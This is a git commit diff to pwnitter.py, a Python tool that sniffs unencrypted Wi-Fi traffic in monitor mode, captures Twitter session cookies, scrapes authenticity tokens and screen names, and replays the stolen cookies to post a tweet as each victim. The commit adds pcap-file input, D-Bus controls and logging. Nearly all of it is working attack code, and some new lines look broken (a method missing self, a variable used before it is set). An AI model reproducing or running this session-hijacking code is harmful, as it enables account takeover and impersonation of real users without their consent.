fixup: make pcap read from the file
[pwnitter] / pwnitter.py
index 61c98e4..6b176f1 100755 (executable)
@@ -7,13 +7,14 @@
 import dbus.service
 import dbus.mainloop.glib
 import getopt, sys, pcap, dpkt, re, httplib, urllib
+import logging
 import socket
 import time
 import gobject
 import select
 import subprocess
 
-status = 'I browsed twitter insecurely on #fossdotin  and all I got was this lousy tweet.'
+status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
 
 def usage(): 
     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
@@ -29,14 +30,22 @@ class Pwnitter(dbus.service.Object):
         self.status = status
         self.is_running = False
 
-    @dbus.service.method(NAME,
-                         in_signature='', out_signature='')
-    def Start(self, device='mon0'):
-        # FIXME: Prevent double Start()
+    def setup_monitor(device='mon0'):
+        # FIXME: Replace hardcoded interface 
         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
         subprocess.call(cmd)
         cmd = '/sbin/ifconfig mon0 up'.split()
         subprocess.call(cmd)
+    
+    @dbus.service.method(NAME,
+                         in_signature='', out_signature='')
+    def Start(self, filename=None):
+        # FIXME: Prevent double Start()
+        if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
+            self.setup_monitor(device)
+            device = self.device
+        else: # We have given a filename, so let's make PCap read from the file
+            device = filename
         self.is_running = True
         try:
             self.cap = pcap.pcap(device)
@@ -44,8 +53,18 @@ class Pwnitter(dbus.service.Object):
             print "Error setting up %s" % device
             raise e
         self.cap.setfilter('dst port 80')
-        gobject.idle_add(lambda: self.pwn(self.device, self.MessageSent))
+        cap_fileno = self.cap.fileno()
+        self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) 
+
+    @dbus.service.method(NAME,
+                         in_signature='s', out_signature='')
+    def StartFromFile(self, filename):
+        return self.Start(filename=filename)
+
     
+    def cap_readable_callback(self, source, condition, device):
+        return self.pwn(device, self.MessageSent)
+        
     @dbus.service.signal(NAME)
     def MessageSent(self, who):
         print "Emitting MessageSent"
@@ -63,135 +82,134 @@ class Pwnitter(dbus.service.Object):
     def GetMessage(self):
         return self.status
 
+
+    def tear_down_monitor(device='mon0'):
+        cmd = '/sbin/ifconfig mon0 down'.split()
+        subprocess.call(cmd)
+        cmd = '/usr/sbin/iw dev mon0 del'.split()
+        subprocess.call(cmd)
+    
     @dbus.service.method(NAME,
                          in_signature='', out_signature='')
     def Stop(self):
         self.is_running = False
         print "Receive Stop"
-        cmd = '/sbin/ifconfig mon0 down'.split()
-        subprocess.call(cmd)
-        cmd = '/usr/sbin/iw dev mon0 del'.split()
-        subprocess.call(cmd)
+        gobject.source_remove(self.source_id)
+        self.tear_down_monitor(self.device)
         loop.quit()
 
 
     def pwn(self, device, tweeted_callback=None):
         processed = {}
         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
-            #for ts, raw  in self.cap: # This blocks. Which is unfortunate if the application wants to exist
-            cap_fileno = self.cap.fileno()
-            rlist, wlist, errlist = select.select([cap_fileno], [], [], 2.5)
-            #print 'rlist, wlist, errlost: %s, %s, %s' % (rlist, wlist, errlist)
-            if cap_fileno in rlist:
-                ts, raw = self.cap.next()
-                eth = dpkt.ethernet.Ethernet(raw)
-                #print 'got a packet'  
-                # Depending on platform, we can either get fully formed packets or unclassified radio data
-                if isinstance(eth.data, str):
-                    data = eth.data
-                else:
-                    data = eth.data.data.data
-
-                hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
-                if hostMatches:
-                    print 'Host matched'
-                    host = hostMatches.group(1)
-
-                    cookieMatches = re.search('Cookie: ([^\n]+)', data)
-                    if cookieMatches:
-                        cookie = cookieMatches.group(1)
-
-                        headers = {
-                            "User-Agent": "Mozilla/5.0",
-                            "Cookie": cookie,
-                        }
-                        
-                        conn = httplib.HTTPSConnection(host)
-                        try:
-                            conn.request("GET", "/", None, headers)
-                        except socket.error, e:
-                            print e
-                        else:
-                            response = conn.getresponse()
-                            page = response.read()
-
-                            # Newtwitter and Oldtwitter have different formatting, so be lax
-                            authToken = ''
-
-                            formMatches = re.search("<.*?authenticity_token.*?>", page, 0)
-                            if formMatches:
-                                authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
-
-                                if authMatches:
-                                    authToken = authMatches.group(1)
-
-                            nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
-                            if not nameMatches:
-                                nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
-       
-                            name = ''
-                            if nameMatches:
-                                name = nameMatches.group(1)
-
-
-                            # We don't want to repeatedly spam people
-                            # FIXME: What the fuck logic. Please clean up
-                            if not ((not name and host != 'mobile.twitter.com') or name in processed):
-                                headers = {
-                                    "User-Agent": "Mozilla/5.0",
-                                    "Accept": "application/json, text/javascript, */*",
-                                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
-                                    "X-Requested-With": "XMLHttpRequest",
-                                    "X-PHX": "true",
-                                    "Referer": "http://api.twitter.com/p_receiver.html",
-                                    "Cookie": cookie
-                                }
-
-
-                                print 'Issueing connection'
-                                if host == 'mobile.twitter.com':
+            ts, raw = self.cap.next()
+            eth = dpkt.ethernet.Ethernet(raw)
+            #print 'got a packet'  
+            # Depending on platform, we can either get fully formed packets or unclassified radio data
+            if isinstance(eth.data, str):
+                data = eth.data
+            else:
+                data = eth.data.data.data
+
+            hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
+            if hostMatches:
+                print 'Host matched'
+                host = hostMatches.group(1)
+
+                cookieMatches = re.search('Cookie: ([^\n]+)', data)
+                if cookieMatches:
+                    cookie = cookieMatches.group(1)
+
+                    headers = {
+                        "User-Agent": "Mozilla/5.0",
+                        "Cookie": cookie,
+                    }
+                    
+                    conn = httplib.HTTPSConnection(host)
+                    try:
+                        conn.request("GET", "/", None, headers)
+                    except socket.error, e:
+                        print e
+                    else:
+                        response = conn.getresponse()
+                        page = response.read()
+
+                        # Newtwitter and Oldtwitter have different formatting, so be lax
+                        authToken = ''
+
+                        formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
+                        if formMatches:
+                            authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
+
+                            if authMatches:
+                                authToken = authMatches.group(1)
+
+                        nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
+                        if not nameMatches:
+                            nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
+
+                        name = ''
+                        if nameMatches:
+                            name = nameMatches.group(1)
+
+
+                        # We don't want to repeatedly spam people
+                        # FIXME: What the fuck logic. Please clean up
+                        if not ((not name and host != 'mobile.twitter.com') or name in processed):
+                            headers = {
+                                "User-Agent": "Mozilla/5.0",
+                                "Accept": "application/json, text/javascript, */*",
+                                "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
+                                "X-Requested-With": "XMLHttpRequest",
+                                "X-PHX": "true",
+                                "Referer": "http://api.twitter.com/p_receiver.html",
+                                "Cookie": cookie
+                            }
+
+
+                            print 'Issueing connection'
+                            if host == 'mobile.twitter.com':
+
+                                params = urllib.urlencode({
+                                    'tweet[text]': self.status,
+                                    'authenticity_token': authToken
+                                })
+
+                                conn = httplib.HTTPConnection("mobile.twitter.com")
+                                conn.request("POST", "/", params, headers)
+
+                            else:
+
+                                params = urllib.urlencode({
+                                    'status': self.status,
+                                    'post_authenticity_token': authToken
+                                })
+
+                                conn = httplib.HTTPConnection("api.twitter.com")
+                                conn.request("POST", "/1/statuses/update.json", params, headers)
 
-                                    params = urllib.urlencode({
-                                        'tweet[text]': self.status,
-                                        'authenticity_token': authToken
-                                    })
-
-                                    conn = httplib.HTTPConnection("mobile.twitter.com")
-                                    conn.request("POST", "/", params, headers)
 
+                            response = conn.getresponse()
+                            print 'Got response: %s' % response.status
+                            if response.status == 200 or response.status == 302 or response.status == 403:
+
+                                if name:
+                                    processed[name] = 1
+
+                                # 403 is a dupe tweet
+                                if response.status != 403:
+                                    print "Successfully tweeted as %s" % name
+                                    print 'calling %s' % tweeted_callback
+                                    if tweeted_callback:
+                                        tweeted_callback(name)
                                 else:
+                                    print 'Already tweeted as %s' % name
 
-                                    params = urllib.urlencode({
-                                        'status': self.status,
-                                        'post_authenticity_token': authToken
-                                    })
-
-                                    conn = httplib.HTTPConnection("api.twitter.com")
-                                    conn.request("POST", "/1/statuses/update.json", params, headers)
-
-
-                                response = conn.getresponse()
-                                print 'Got response: %s' % response.status
-                                if response.status == 200 or response.status == 302 or response.status == 403:
+                            else:
 
-                                    if name:
-                                        processed[name] = 1
-
-                                    # 403 is a dupe tweet
-                                    if response.status != 403:
-                                        print "Successfully tweeted as %s" % name
-                                        print 'calling %s' % tweeted_callback
-                                        if tweeted_callback:
-                                            tweeted_callback(name)
-                                    else:
-                                        print 'Already tweeted as %s' % name
-
-                                else:
-
-                                    print "FAILED to tweet as %s, debug follows:" % name
-                                    print response.status, response.reason
-                                    print response.read() + "\n"
-                #break # Break after one read packet
+                                print "FAILED to tweet as %s, debug follows:" % name
+                                print response.status, response.reason
+                                print response.read() + "\n"
         return self.is_running # Execute next time, we're idle
     # FIXME: Ideally, check    whether Pcap has got data for us
 
@@ -209,10 +227,26 @@ def main():
 
 
 if __name__ == '__main__':
+    from optparse import OptionParser
+    parser = OptionParser("usage: %prog [options]")
+    parser.add_option("-l", "--loglevel", dest="loglevel", 
+                      help="Sets the loglevel to one of debug, info, warn, error, critical")
+    parser.add_option("-s", "--session", dest="use_session_bus",
+                      action="store_true", default=False,
+                      help="Bind Pwnitter to the SessionBus instead of the SystemBus")
+    (options, args) = parser.parse_args()
+    loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
+                'warn': logging.WARN, 'error': logging.ERROR,
+                'critical': logging.CRITICAL}.get(options.loglevel, "warn")
+    logging.basicConfig(level=loglevel)
+    log = logging.getLogger("Main")
+
     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
 
-    #session_bus = dbus.SessionBus()
-    session_bus = dbus.SystemBus()
+    if options.use_session_bus:
+        session_bus = dbus.SessionBus()
+    else:
+        session_bus = dbus.SystemBus()
     name = dbus.service.BusName(NAME, session_bus)
     pwnitter = Pwnitter(session_bus, '/Pwnitter')
     #object.Start()